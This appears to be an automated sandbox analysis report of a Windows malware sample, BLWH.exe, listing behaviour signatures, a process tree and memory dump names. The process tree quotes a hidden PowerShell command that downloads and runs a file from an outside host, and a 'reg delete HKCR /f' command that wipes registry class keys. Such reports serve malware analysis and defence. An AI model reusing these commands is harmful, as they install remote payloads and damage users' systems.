Analysis

  • max time kernel
    42s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 07:00

General

  • Target
    BLWH.exe
  • Size 35KB
  • Sample261002-hs393sbf98
  • SHA256 1165dff188da41cdc6eae263859a8ca826bbfb35ec3c3052990ca709b7fc5add
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Modifies system executable filetype association 2 TTPs 34 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\BLWH.exe
    "C:\Users\Admin\AppData\Local\Temp\BLWH.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5912
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4544
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5528
      • C:\Windows\system32\reg.exe
        reg delete HKCR /f
        3⤵
        • Modifies system executable filetype association
        • Modifies registry class
        PID:5952
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x0000000000000504 0x00000000000004FC
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4396

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/4544-29-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-22-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-37-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-36-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-34-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-30-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-28-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-27-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-21-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-26-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-25-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-14-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-17-0x0000026F78670000-0x0000026F78692000-memory.dmp

        memory/4544-18-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-24-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-19-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-23-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/4544-20-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-32-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-3-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-10-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-9-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-7-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-8-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-31-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-5-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-0-0x00007FFA305BF000-0x00007FFA305C0000-memory.dmp

        memory/5912-1-0x0000000000070000-0x0000000000080000-memory.dmp

        memory/5912-33-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-4-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-6-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp

        memory/5912-2-0x00007FFA30430000-0x00007FFA30DD4000-memory.dmp